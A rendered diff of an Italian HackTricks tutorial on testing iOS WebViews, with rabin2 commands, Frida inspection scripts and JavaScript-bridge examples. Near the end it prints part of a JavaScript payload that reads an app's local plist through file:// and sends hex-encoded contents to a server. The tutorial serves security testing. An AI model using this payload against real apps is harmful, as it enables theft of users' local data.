|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# iOS WebViews
|
# iOS WebViews
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Il codice di questa pagina è stato estratto da [qui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Controlla la pagina per ulteriori dettagli.
|
Il codice di questa pagina è stato estratto [qui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Controlla la pagina per ulteriori dettagli.
|
||||||
|
|
||||||
|
|
||||||
## Tipi di WebViews
|
## Tipi di WebViews
|
||||||
|
|
||||||
Le WebViews vengono utilizzate nelle applicazioni per visualizzare contenuti web in modo interattivo. Diversi tipi di WebViews offrono diverse funzionalità e caratteristiche di sicurezza per le applicazioni iOS. Ecco una breve panoramica:
|
Le WebViews sono utilizzate all'interno delle applicazioni per visualizzare contenuti web in modo interattivo. Vari tipi di WebViews offrono diverse funzionalità e caratteristiche di sicurezza per le applicazioni iOS. Ecco una breve panoramica:
|
||||||
|
|
||||||
- **UIWebView**, che non è più consigliato a partire da iOS 12 a causa della mancanza di supporto per la disabilitazione di **JavaScript**, rendendolo suscettibile a iniezioni di script e attacchi di **Cross-Site Scripting (XSS)**.
|
- **UIWebView**, che non è più raccomandato a partire da iOS 12 a causa della sua mancanza di supporto per disabilitare **JavaScript**, rendendolo suscettibile a iniezioni di script e attacchi di **Cross-Site Scripting (XSS)**.
|
||||||
|
|
||||||
- **WKWebView** è l'opzione preferita per incorporare contenuti web nelle app, offrendo un controllo avanzato sul contenuto e funzionalità di sicurezza. **JavaScript** è abilitato per impostazione predefinita, ma può essere disabilitato se necessario. Supporta anche funzionalità per impedire a JavaScript di aprire automaticamente finestre e garantisce che tutto il contenuto venga caricato in modo sicuro. Inoltre, l'architettura di **WKWebView** riduce al minimo il rischio di corruzione della memoria che colpisce il processo principale dell'app.
|
- **WKWebView** è l'opzione preferita per incorporare contenuti web nelle app, offrendo un controllo migliorato sui contenuti e sulle caratteristiche di sicurezza. **JavaScript** è abilitato per impostazione predefinita, ma può essere disabilitato se necessario. Supporta anche funzionalità per prevenire l'apertura automatica di finestre da parte di JavaScript e garantisce che tutti i contenuti vengano caricati in modo sicuro. Inoltre, l'architettura di **WKWebView** riduce il rischio di corruzione della memoria che influisce sul processo principale dell'app.
|
||||||
|
|
||||||
- **SFSafariViewController** offre un'esperienza di navigazione web standardizzata all'interno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo in sola lettura, pulsanti di condivisione e navigazione e un collegamento diretto per aprire il contenuto in Safari. A differenza di **WKWebView**, **JavaScript** non può essere disabilitato in **SFSafariViewController**, che condivide anche cookie e dati con Safari, mantenendo la privacy dell'utente dall'app. Deve essere visualizzato in modo prominente secondo le linee guida dell'App Store.
|
- **SFSafariViewController** offre un'esperienza di navigazione web standardizzata all'interno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo in sola lettura, pulsanti di condivisione e navigazione, e un link diretto per aprire contenuti in Safari. A differenza di **WKWebView**, **JavaScript** non può essere disabilitato in **SFSafariViewController**, che condivide anche cookie e dati con Safari, mantenendo la privacy dell'utente dall'app. Deve essere visualizzato in modo prominente secondo le linee guida dell'App Store.
|
||||||
```javascript
|
```javascript
|
||||||
// Example of disabling JavaScript in WKWebView:
|
// Example of disabling JavaScript in WKWebView:
|
||||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||||
|
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||||||
config.preferences = preferences;
|
config.preferences = preferences;
|
||||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||||
```
|
```
|
||||||
## Riepilogo dell'esplorazione della configurazione delle WebViews
|
## WebViews Configuration Exploration Summary
|
||||||
|
|
||||||
### **Panoramica dell'analisi statica**
|
### **Static Analysis Overview**
|
||||||
|
|
||||||
Nel processo di esame delle configurazioni delle **WebViews**, si concentrano principalmente su due tipi: **UIWebView** e **WKWebView**. Per identificare queste WebViews all'interno di un binario, vengono utilizzati comandi che cercano riferimenti di classi specifiche e metodi di inizializzazione.
|
Nel processo di esaminare le configurazioni di **WebViews**, si concentrano su due tipi principali: **UIWebView** e **WKWebView**. Per identificare questi WebViews all'interno di un binario, vengono utilizzati comandi, cercando riferimenti a classi specifiche e metodi di inizializzazione.
|
||||||
|
|
||||||
- **Identificazione di UIWebView**
|
- **UIWebView Identification**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||||
```
|
```
|
||||||
Questo comando aiuta a individuare le istanze di **UIWebView** cercando stringhe di testo correlate ad essa nel binario.
|
Questo comando aiuta a localizzare le istanze di **UIWebView** cercando stringhe di testo ad essa correlate nel binario.
|
||||||
|
|
||||||
- **Identificazione di WKWebView**
|
- **Identificazione di WKWebView**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||||
```
|
```
|
||||||
Allo stesso modo, per **WKWebView**, questo comando cerca nel binario le stringhe di testo indicative del suo utilizzo.
|
Allo stesso modo, per **WKWebView**, questo comando cerca nel binario stringhe di testo indicative del suo utilizzo.
|
||||||
|
|
||||||
Inoltre, per trovare come viene inizializzato un **WKWebView**, viene eseguito il seguente comando, mirando alla firma del metodo relativo alla sua inizializzazione:
|
Inoltre, per scoprire come viene inizializzato un **WKWebView**, viene eseguito il seguente comando, mirato alla firma del metodo relativa alla sua inizializzazione:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||||
```
|
```
|
||||||
#### **Verifica della configurazione di JavaScript**
|
#### **Verifica della Configurazione JavaScript**
|
||||||
|
|
||||||
Per **WKWebView**, è evidenziato che disabilitare JavaScript è una pratica consigliata a meno che non sia necessario. Viene effettuata una ricerca nel file binario compilato per confermare che la proprietà `javaScriptEnabled` sia impostata su `false`, garantendo che JavaScript sia disabilitato:
|
Per **WKWebView**, è evidenziato che disabilitare JavaScript è una buona pratica a meno che non sia necessario. Si cerca il binario compilato per confermare che la proprietà `javaScriptEnabled` sia impostata su `false`, assicurando che JavaScript sia disabilitato:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||||
```
|
```
|
||||||
#### **Verifica solo contenuto sicuro**
|
#### **Verifica Solo Contenuti Sicuri**
|
||||||
|
|
||||||
**WKWebView** offre la possibilità di identificare problemi di contenuto misto, a differenza di **UIWebView**. Questo viene verificato utilizzando la proprietà `hasOnlySecureContent` per assicurarsi che tutte le risorse della pagina vengano caricate tramite connessioni sicure. La ricerca nel file binario compilato viene eseguita nel seguente modo:
|
**WKWebView** offre la possibilità di identificare problemi di contenuti misti, a differenza di **UIWebView**. Questo viene controllato utilizzando la proprietà `hasOnlySecureContent` per garantire che tutte le risorse della pagina siano caricate tramite connessioni sicure. La ricerca nel binario compilato viene eseguita come segue:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||||
```
|
```
|
||||||
### **Insight sull'analisi dinamica**
|
### **Approfondimenti sull'Analisi Dinamica**
|
||||||
|
|
||||||
L'analisi dinamica consiste nell'ispezionare l'heap per individuare le istanze di WebView e le relative proprietà. Uno script chiamato `webviews_inspector.js` viene utilizzato a questo scopo, prendendo di mira le istanze di `UIWebView`, `WKWebView` e `SFSafariViewController`. Esso registra informazioni sulle istanze trovate, inclusi gli URL e le impostazioni relative a JavaScript e al contenuto sicuro.
|
L'analisi dinamica comporta l'ispezione dell'heap per le istanze di WebView e le loro proprietà. Uno script chiamato `webviews_inspector.js` è utilizzato a questo scopo, mirato alle istanze di `UIWebView`, `WKWebView` e `SFSafariViewController`. Registra informazioni sulle istanze trovate, inclusi URL e impostazioni relative a JavaScript e contenuti sicuri.
|
||||||
|
|
||||||
L'ispezione dell'heap può essere effettuata utilizzando `ObjC.choose()` per identificare le istanze di WebView e verificare le proprietà `javaScriptEnabled` e `hasonlysecurecontent`.
|
L'ispezione dell'heap può essere condotta utilizzando `ObjC.choose()` per identificare le istanze di WebView e controllare le proprietà `javaScriptEnabled` e `hasonlysecurecontent`.
|
||||||
|
|
||||||
{% code title="webviews_inspector.js" %}
|
{% code title="webviews_inspector.js" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -125,26 +126,26 @@ Lo script viene eseguito con:
|
||||||
```bash
|
```bash
|
||||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||||
```
|
```
|
||||||
**Risultati chiave**:
|
**Risultati Chiave**:
|
||||||
- Le istanze di WebViews vengono individuate e ispezionate con successo.
|
- Le istanze di WebViews sono state localizzate e ispezionate con successo.
|
||||||
- Viene verificata l'abilitazione di JavaScript e le impostazioni di contenuto sicuro.
|
- L'abilitazione di JavaScript e le impostazioni di contenuto sicuro sono state verificate.
|
||||||
|
|
||||||
Questo riassunto riassume i passaggi critici e i comandi coinvolti nell'analisi delle configurazioni di WebView attraverso approcci statici e dinamici, concentrandosi su funzionalità di sicurezza come l'abilitazione di JavaScript e il rilevamento di contenuti misti.
|
Questo riepilogo racchiude i passaggi e i comandi critici coinvolti nell'analisi delle configurazioni di WebView attraverso approcci statici e dinamici, concentrandosi su funzionalità di sicurezza come l'abilitazione di JavaScript e la rilevazione di contenuti misti.
|
||||||
|
|
||||||
## Gestione dei protocolli WebView
|
## Gestione del Protocollo WebView
|
||||||
|
|
||||||
La gestione dei contenuti nelle WebViews è un aspetto critico, specialmente quando si tratta di vari protocolli come `http(s)://`, `file://` e `tel://`. Questi protocolli consentono il caricamento di contenuti remoti e locali all'interno delle app. Si sottolinea che, quando si carica contenuto locale, è necessario prendere precauzioni per evitare che gli utenti influenzino il nome o il percorso del file e modifichino il contenuto stesso.
|
Gestire il contenuto nelle WebViews è un aspetto critico, specialmente quando si trattano vari protocolli come `http(s)://`, `file://` e `tel://`. Questi protocolli consentono il caricamento di contenuti sia remoti che locali all'interno delle app. Si sottolinea che, quando si carica contenuto locale, devono essere adottate precauzioni per impedire agli utenti di influenzare il nome o il percorso del file e di modificare il contenuto stesso.
|
||||||
|
|
||||||
Le **WebViews** offrono diversi metodi per il caricamento dei contenuti. Per **UIWebView**, ora deprecata, vengono utilizzati metodi come `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, d'altra parte, utilizza `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` per i contenuti web. Metodi come `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` vengono tipicamente utilizzati per il caricamento di file locali. Il metodo `loadFileURL:allowingReadAccessToURL:` è particolarmente notevole per la sua capacità di caricare un URL o una directory specifica nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.
|
**WebViews** offrono diversi metodi per il caricamento dei contenuti. Per **UIWebView**, ora deprecato, si utilizzano metodi come `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, d'altra parte, impiega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` per il contenuto web. Metodi come `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` sono tipicamente utilizzati per caricare file locali. Il metodo `loadFileURL:allowingReadAccessToURL:` è particolarmente notevole per la sua capacità di caricare un URL o una directory specifica nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.
|
||||||
|
|
||||||
Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere utilizzati comandi come i seguenti:
|
Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere utilizzati comandi come i seguenti:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||||
```
|
```
|
||||||
Per quanto riguarda l'**accesso ai file**, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` per gestire l'accesso da URL di file, entrambe impostate su false di default.
|
Riguardo all'**accesso ai file**, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` per gestire l'accesso dagli URL dei file, con entrambe impostate su false per impostazione predefinita.
|
||||||
|
|
||||||
Viene fornito un esempio di script Frida per ispezionare le configurazioni di **WKWebView** per le impostazioni di sicurezza:
|
Un esempio di script Frida è fornito per ispezionare le configurazioni di **WKWebView** per le impostazioni di sicurezza:
|
||||||
```bash
|
```bash
|
||||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||||
onMatch: function (wk) {
|
onMatch: function (wk) {
|
||||||
|
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Infine, un esempio di payload JavaScript mirato a esfiltrare file locali dimostra il potenziale rischio per la sicurezza associato a WebView non correttamente configurati. Questo payload codifica i contenuti dei file nel formato esadecimale prima di trasmetterli a un server, evidenziando l'importanza di rigorose misure di sicurezza nelle implementazioni di WebView.
|
Infine, un esempio di un payload JavaScript mirato all'exfiltrazione di file locali dimostra il potenziale rischio per la sicurezza associato a WebViews configurati in modo improprio. Questo payload codifica i contenuti dei file in formato esadecimale prima di trasmetterli a un server, evidenziando l'importanza di misure di sicurezza rigorose nelle implementazioni di WebView.
|
||||||
```javascript
|
```javascript
|
||||||
String.prototype.hexEncode = function(){
|
String.prototype.hexEncode = function(){
|
||||||
var hex, i;
|
var hex, i;
|
||||||
|
@ -185,24 +186,24 @@ xhr2.send(null);
|
||||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
```
|
```
|
||||||
## Metodi nativi esposti tramite WebView
|
## Metodi Nativi Esposti Tramite WebViews
|
||||||
|
|
||||||
## Comprensione delle interfacce native WebView in iOS
|
## Comprendere le Interfacce Native di WebView in iOS
|
||||||
|
|
||||||
A partire da iOS 7, Apple ha fornito API per la **comunicazione tra JavaScript in una WebView e oggetti nativi** Swift o Objective-C. Questa integrazione è principalmente facilitata attraverso due metodi:
|
A partire da iOS 7, Apple ha fornito API per **la comunicazione tra JavaScript in un WebView e oggetti** nativi Swift o Objective-C. Questa integrazione è principalmente facilitata attraverso due metodi:
|
||||||
|
|
||||||
- **JSContext**: Una funzione JavaScript viene creata automaticamente quando un blocco Swift o Objective-C viene collegato a un identificatore all'interno di un `JSContext`. Ciò consente un'integrazione e una comunicazione senza soluzione di continuità tra JavaScript e codice nativo.
|
- **JSContext**: Una funzione JavaScript viene creata automaticamente quando un blocco Swift o Objective-C è collegato a un identificatore all'interno di un `JSContext`. Questo consente un'integrazione e comunicazione senza soluzione di continuità tra JavaScript e codice nativo.
|
||||||
- **JSExport Protocol**: Ereditando il protocollo `JSExport`, le proprietà native, i metodi di istanza e i metodi di classe possono essere esposti a JavaScript. Ciò significa che le modifiche apportate nell'ambiente JavaScript vengono riflesse nell'ambiente nativo e viceversa. Tuttavia, è essenziale assicurarsi che i dati sensibili non vengano esposti inavvertitamente tramite questo metodo.
|
- **JSExport Protocol**: Ereditando il protocollo `JSExport`, le proprietà native, i metodi di istanza e i metodi di classe possono essere esposti a JavaScript. Ciò significa che eventuali modifiche apportate nell'ambiente JavaScript vengono riflesse nell'ambiente nativo e viceversa. Tuttavia, è essenziale garantire che i dati sensibili non vengano esposti involontariamente tramite questo metodo.
|
||||||
|
|
||||||
### Accesso a `JSContext` in Objective-C
|
### Accesso a `JSContext` in Objective-C
|
||||||
|
|
||||||
In Objective-C, il `JSContext` per una `UIWebView` può essere recuperato con la seguente riga di codice:
|
In Objective-C, il `JSContext` per un `UIWebView` può essere recuperato con la seguente riga di codice:
|
||||||
```objc
|
```objc
|
||||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||||
```
|
```
|
||||||
### Comunicazione con `WKWebView`
|
### Comunicazione con `WKWebView`
|
||||||
|
|
||||||
Per `WKWebView`, l'accesso diretto a `JSContext` non è disponibile. Invece, viene utilizzato il passaggio di messaggi tramite la funzione `postMessage`, consentendo la comunicazione tra JavaScript e l'applicazione nativa. I gestori per questi messaggi vengono impostati come segue, consentendo a JavaScript di interagire in modo sicuro con l'applicazione nativa:
|
Per `WKWebView`, l'accesso diretto a `JSContext` non è disponibile. Invece, viene utilizzato il passaggio di messaggi tramite la funzione `postMessage`, che consente la comunicazione tra JavaScript e nativo. I gestori per questi messaggi sono impostati come segue, consentendo a JavaScript di interagire in modo sicuro con l'applicazione nativa:
|
||||||
```swift
|
```swift
|
||||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||||
options_dict["javaScriptBridge"]?.value = enabled
|
options_dict["javaScriptBridge"]?.value = enabled
|
||||||
|
@ -217,7 +218,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
||||||
```
|
```
|
||||||
### Interazione e Test
|
### Interazione e Test
|
||||||
|
|
||||||
JavaScript può interagire con il livello nativo definendo un gestore di messaggi di script. Ciò consente operazioni come l'invocazione di funzioni native da una pagina web:
|
JavaScript può interagire con il layer nativo definendo un gestore di messaggi per gli script. Questo consente operazioni come l'invocazione di funzioni native da una pagina web:
|
||||||
```javascript
|
```javascript
|
||||||
function invokeNativeOperation() {
|
function invokeNativeOperation() {
|
||||||
value1 = document.getElementById("value1").value
|
value1 = document.getElementById("value1").value
|
||||||
|
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
||||||
// Alternative method for calling exposed JavaScript functions
|
// Alternative method for calling exposed JavaScript functions
|
||||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||||
```
|
```
|
||||||
Per catturare e manipolare il risultato di una chiamata di funzione nativa, è possibile sovrascrivere la funzione di callback all'interno dell'HTML:
|
Per catturare e manipolare il risultato di una chiamata a una funzione nativa, è possibile sovrascrivere la funzione di callback all'interno dell'HTML:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<script>
|
<script>
|
||||||
|
@ -239,7 +240,7 @@ alert(result);
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Il lato nativo gestisce la chiamata JavaScript come mostrato nella classe `JavaScriptBridgeMessageHandler`, dove il risultato delle operazioni come la moltiplicazione dei numeri viene elaborato e inviato nuovamente a JavaScript per la visualizzazione o ulteriori manipolazioni:
|
Il lato nativo gestisce la chiamata JavaScript come mostrato nella classe `JavaScriptBridgeMessageHandler`, dove il risultato delle operazioni come la moltiplicazione di numeri viene elaborato e inviato nuovamente a JavaScript per la visualizzazione o ulteriori manipolazioni:
|
||||||
```swift
|
```swift
|
||||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||||
// Handling "multiplyNumbers" operation
|
// Handling "multiplyNumbers" operation
|
||||||
|
@ -256,36 +257,37 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||||
|
|
||||||
(Tutorial basato su quello di [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
(Tutorial basato su quello di [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||||
|
|
||||||
Per effettuare il debug in modo efficace del contenuto web all'interno delle webview di iOS, è necessaria una configurazione specifica che coinvolge gli strumenti per sviluppatori di Safari, poiché i messaggi inviati a `console.log()` non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, con enfasi sui passaggi chiave e i requisiti:
|
Per eseguire il debug dei contenuti web all'interno delle webview iOS, è necessaria una configurazione specifica che coinvolge gli strumenti per sviluppatori di Safari, poiché i messaggi inviati a `console.log()` non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, che enfatizza i passaggi e i requisiti chiave:
|
||||||
|
|
||||||
- **Preparazione sul dispositivo iOS**: È necessario attivare il Safari Web Inspector sul tuo dispositivo iOS. Puoi farlo andando su **Impostazioni > Safari > Avanzate** e abilitando il _Web Inspector_.
|
- **Preparazione sul dispositivo iOS**: L'Inspectore Web di Safari deve essere attivato sul tuo dispositivo iOS. Questo si fa andando su **Impostazioni > Safari > Avanzate**, e abilitando l'_Inspectore Web_.
|
||||||
|
|
||||||
- **Preparazione sul dispositivo macOS**: Sul tuo computer di sviluppo macOS, devi abilitare gli strumenti per sviluppatori all'interno di Safari. Avvia Safari, accedi a **Safari > Preferenze > Avanzate** e seleziona l'opzione _Mostra menu Sviluppo_.
|
- **Preparazione sul dispositivo macOS**: Sul tuo computer di sviluppo macOS, devi abilitare gli strumenti per sviluppatori all'interno di Safari. Avvia Safari, accedi a **Safari > Preferenze > Avanzate**, e seleziona l'opzione per _Mostrare il menu Sviluppo_.
|
||||||
|
|
||||||
- **Connessione e debug**: Dopo aver collegato il tuo dispositivo iOS al computer macOS e aver avviato la tua applicazione, utilizza Safari sul tuo dispositivo macOS per selezionare la webview che desideri debuggare. Vai su _Sviluppo_ nella barra dei menu di Safari, posiziona il cursore sul nome del tuo dispositivo iOS per visualizzare un elenco delle istanze di webview e seleziona l'istanza che desideri ispezionare. Si aprirà una nuova finestra del Safari Web Inspector a questo scopo.
|
- **Connessione e Debugging**: Dopo aver collegato il tuo dispositivo iOS al computer macOS e avviato la tua applicazione, utilizza Safari sul tuo dispositivo macOS per selezionare la webview che desideri debuggare. Naviga su _Sviluppo_ nella barra dei menu di Safari, passa il mouse sul nome del tuo dispositivo iOS per vedere un elenco delle istanze delle webview, e seleziona l'istanza che desideri ispezionare. Si aprirà una nuova finestra dell'Inspectore Web di Safari per questo scopo.
|
||||||
|
|
||||||
Tuttavia, tieni presente le limitazioni:
|
Tuttavia, fai attenzione alle limitazioni:
|
||||||
|
|
||||||
- Il debug con questo metodo richiede un dispositivo macOS in quanto si basa su Safari.
|
- Il debugging con questo metodo richiede un dispositivo macOS poiché si basa su Safari.
|
||||||
- Solo le webview nelle applicazioni caricate sul tuo dispositivo tramite Xcode sono idonee per il debug. Le webview nelle app installate tramite App Store o Apple Configurator non possono essere debuggate in questo modo.
|
- Solo le webview nelle applicazioni caricate sul tuo dispositivo tramite Xcode sono idonee per il debugging. Le webview nelle app installate tramite l'App Store o Apple Configurator non possono essere debuggate in questo modo.
|
||||||
|
|
||||||
|
|
||||||
## Riferimenti
|
## References
|
||||||
|
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
